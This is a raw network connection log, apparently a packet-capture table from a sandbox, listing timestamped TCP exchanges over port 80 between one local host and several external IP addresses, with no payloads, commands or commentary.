Nov 7, 2024 10:51:22.672544956 CET	49181	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:22.677514076 CET	80	49181	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:22.677939892 CET	80	49181	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:23.811223030 CET	80	49181	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:23.811250925 CET	80	49181	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:23.811305046 CET	49181	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:24.004609108 CET	80	49181	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:24.004646063 CET	80	49181	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:24.004736900 CET	49181	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:24.167176962 CET	49181	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:25.186222076 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:25.191214085 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:25.194222927 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:25.199760914 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:25.205660105 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.416253090 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.416285038 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.416296005 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.416306973 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.416321039 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.416495085 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:26.416495085 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:26.598679066 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.598691940 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.598717928 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.598731041 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.598742008 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.598860025 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:26.598860025 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:26.599497080 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.599509001 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.599519968 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.600366116 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.600393057 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:26.794981956 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.795032978 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.795044899 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.795147896 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:26.796000004 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.796013117 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.796025038 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.796047926 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:26.796072006 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.796083927 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.796113014 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:26.796314001 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:26.797004938 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.797050953 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.797064066 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.797758102 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:26.797796965 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:26.799680948 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:26.800965071 CET	49182	80	192.168.2.22	104.21.14.183
Nov 7, 2024 10:51:26.805944920 CET	80	49182	104.21.14.183	192.168.2.22
Nov 7, 2024 10:51:31.875118971 CET	49183	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:31.879913092 CET	80	49183	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:31.879970074 CET	49183	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:31.891536951 CET	49183	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:31.896476984 CET	80	49183	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:31.896534920 CET	49183	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:31.896558046 CET	80	49183	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:31.901431084 CET	80	49183	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:32.590548992 CET	80	49183	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:32.629900932 CET	80	49183	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:32.634254932 CET	49183	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:33.402180910 CET	49183	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:34.419231892 CET	49184	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:34.424077034 CET	80	49184	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:34.430273056 CET	49184	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:34.438261986 CET	49184	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:34.443447113 CET	80	49184	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:35.119466066 CET	80	49184	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:35.157016039 CET	80	49184	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:35.162420988 CET	49184	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:35.945091009 CET	49184	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:36.962676048 CET	49185	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:36.967653036 CET	80	49185	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:36.969332933 CET	49185	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:36.981237888 CET	49185	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:36.986485004 CET	80	49185	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:36.986656904 CET	80	49185	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:36.986751080 CET	49185	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:36.992022038 CET	80	49185	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:36.992136955 CET	80	49185	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:37.652642012 CET	80	49185	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:37.693622112 CET	80	49185	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:37.693671942 CET	49185	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:38.487833023 CET	49185	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:39.507966995 CET	49186	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:39.512912989 CET	80	49186	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:39.513008118 CET	49186	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:39.523251057 CET	49186	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:39.528162003 CET	80	49186	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:40.436044931 CET	80	49186	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:40.474265099 CET	80	49186	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:40.474759102 CET	49186	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:40.475359917 CET	49186	80	192.168.2.22	67.223.117.142
Nov 7, 2024 10:51:40.480173111 CET	80	49186	67.223.117.142	192.168.2.22
Nov 7, 2024 10:51:45.494755983 CET	49187	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:45.499875069 CET	80	49187	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:45.499932051 CET	49187	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:45.511606932 CET	49187	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:45.516444921 CET	80	49187	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:45.516490936 CET	49187	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:45.516582966 CET	80	49187	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:45.521248102 CET	80	49187	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:46.130137920 CET	80	49187	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:46.130202055 CET	49187	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:47.021668911 CET	49187	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:47.027374029 CET	80	49187	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:48.039518118 CET	49188	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:48.046144009 CET	80	49188	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:48.046195984 CET	49188	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:48.057593107 CET	49188	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:48.064239979 CET	80	49188	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:48.692841053 CET	80	49188	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:48.696415901 CET	49188	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:49.563853025 CET	49188	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:49.568639994 CET	80	49188	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:50.581418037 CET	49189	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:50.586266041 CET	80	49189	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:50.593571901 CET	49189	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:50.600756884 CET	49189	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:50.605954885 CET	80	49189	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:50.606170893 CET	80	49189	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:50.606282949 CET	49189	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:50.611125946 CET	80	49189	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:50.611354113 CET	80	49189	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:51.236273050 CET	80	49189	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:51.238399029 CET	49189	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:52.106858015 CET	49189	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:52.117686033 CET	80	49189	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:53.124036074 CET	49190	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:53.128978014 CET	80	49190	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:53.129220963 CET	49190	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:53.139329910 CET	49190	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:53.144336939 CET	80	49190	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:53.785733938 CET	80	49190	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:53.786154032 CET	80	49190	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:53.786205053 CET	49190	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:53.790009022 CET	49190	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:51:53.795186996 CET	80	49190	3.33.130.190	192.168.2.22
Nov 7, 2024 10:51:59.030992031 CET	49191	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:51:59.035902977 CET	80	49191	113.20.119.31	192.168.2.22
Nov 7, 2024 10:51:59.035969973 CET	49191	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:51:59.047612906 CET	49191	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:51:59.052519083 CET	80	49191	113.20.119.31	192.168.2.22
Nov 7, 2024 10:51:59.052722931 CET	49191	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:51:59.052865028 CET	80	49191	113.20.119.31	192.168.2.22
Nov 7, 2024 10:51:59.057547092 CET	80	49191	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:00.149920940 CET	80	49191	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:00.360078096 CET	80	49191	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:00.360322952 CET	49191	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:00.391833067 CET	80	49191	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:00.392165899 CET	49191	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:00.546580076 CET	49191	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:01.563757896 CET	49192	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:01.569653988 CET	80	49192	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:01.569758892 CET	49192	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:01.581459045 CET	49192	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:01.586364031 CET	80	49192	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:02.651232004 CET	80	49192	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:02.859292984 CET	80	49192	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:02.862447977 CET	49192	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:02.892071962 CET	80	49192	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:02.894648075 CET	49192	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:03.089287043 CET	49192	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:04.107367039 CET	49193	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:04.112221003 CET	80	49193	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:04.112287998 CET	49193	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:04.123946905 CET	49193	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:04.128798008 CET	80	49193	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:04.128829002 CET	80	49193	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:04.128865957 CET	49193	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:04.133716106 CET	80	49193	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:04.133791924 CET	80	49193	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:05.191865921 CET	80	49193	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:05.403481960 CET	80	49193	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:05.403554916 CET	49193	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:05.431339979 CET	80	49193	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:05.431482077 CET	49193	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:05.632502079 CET	49193	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:06.649332047 CET	49194	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:06.654195070 CET	80	49194	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:06.654334068 CET	49194	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:06.662502050 CET	49194	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:06.667376995 CET	80	49194	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:07.720448971 CET	80	49194	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:07.930169106 CET	49194	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:07.931379080 CET	80	49194	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:07.931433916 CET	49194	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:07.962096930 CET	80	49194	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:07.962196112 CET	49194	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:07.963056087 CET	49194	80	192.168.2.22	113.20.119.31
Nov 7, 2024 10:52:07.967802048 CET	80	49194	113.20.119.31	192.168.2.22
Nov 7, 2024 10:52:13.187724113 CET	49195	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:13.192563057 CET	80	49195	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:13.192758083 CET	49195	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:13.204430103 CET	49195	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:13.209424019 CET	80	49195	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:13.209435940 CET	80	49195	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:13.209633112 CET	49195	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:13.214626074 CET	80	49195	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:14.197551012 CET	80	49195	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:14.401031971 CET	80	49195	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:14.401099920 CET	49195	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:14.711177111 CET	49195	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:15.772641897 CET	49196	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:15.778094053 CET	80	49196	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:15.778179884 CET	49196	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:15.783904076 CET	80	49196	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:15.783987999 CET	49196	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:15.818451881 CET	49196	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:15.823373079 CET	80	49196	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:18.349376917 CET	49197	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:18.423888922 CET	80	49197	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:18.423964977 CET	49197	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:18.437149048 CET	49197	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:18.440535069 CET	80	49197	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:18.440596104 CET	49197	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:18.442090034 CET	80	49197	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:18.442136049 CET	80	49197	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:18.446122885 CET	80	49197	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:20.954834938 CET	49198	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:20.960213900 CET	80	49198	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:20.960263014 CET	49198	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:20.968383074 CET	49198	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:20.973227978 CET	80	49198	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:21.975764036 CET	80	49198	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:22.182132006 CET	80	49198	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:22.182248116 CET	49198	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:22.186388969 CET	49198	80	192.168.2.22	47.129.103.185
Nov 7, 2024 10:52:22.191351891 CET	80	49198	47.129.103.185	192.168.2.22
Nov 7, 2024 10:52:27.328052998 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:27.967156887 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:27.967226982 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.047858953 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.053224087 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.053275108 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.053597927 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.058213949 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.632575989 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.632700920 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.632765055 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.632816076 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.632827044 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.632873058 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.632898092 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.632973909 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.632982969 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.633060932 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.633114100 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.633136034 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.633188009 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.633440971 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.637890100 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.637926102 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.637943983 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.638484001 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.638520002 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.639244080 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.667908907 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.667963028 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.668735027 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.750200987 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.750267982 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.750277996 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.750293016 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.750377893 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.750472069 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.750485897 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.750498056 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.750534058 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.750776052 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.750787020 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.750823975 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.750930071 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.750941038 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.750983953 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.751120090 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.751132965 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.751168013 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:28.751347065 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:28.969571114 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.012590885 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.012695074 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.012706041 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.012851000 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.013369083 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.013381004 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.013392925 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.013403893 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.013421059 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.013427973 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.013433933 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.013441086 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.014157057 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.014168978 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.014179945 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.014190912 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.014197111 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.014209032 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.014219999 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.014250040 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.014254093 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.014261961 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.014271975 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.014300108 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.014988899 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.015034914 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.015045881 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.015058041 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.015065908 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.015070915 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.015090942 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.015113115 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.017714977 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.017798901 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.017810106 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.017827034 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.017863035 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.018106937 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.018315077 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.018332005 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.018362999 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.075305939 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.075392008 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.075402975 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.075551987 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.075551987 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.077476025 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.102874994 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.102961063 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.102972031 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.103122950 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.104188919 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.104201078 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.104212046 CET	80	49199	38.47.237.27	192.168.2.22
Nov 7, 2024 10:52:29.104233027 CET	49199	80	192.168.2.22	38.47.237.27
Nov 7, 2024 10:52:29.104245901 CET	49199	80	192.168.2.22	38.47.237.27
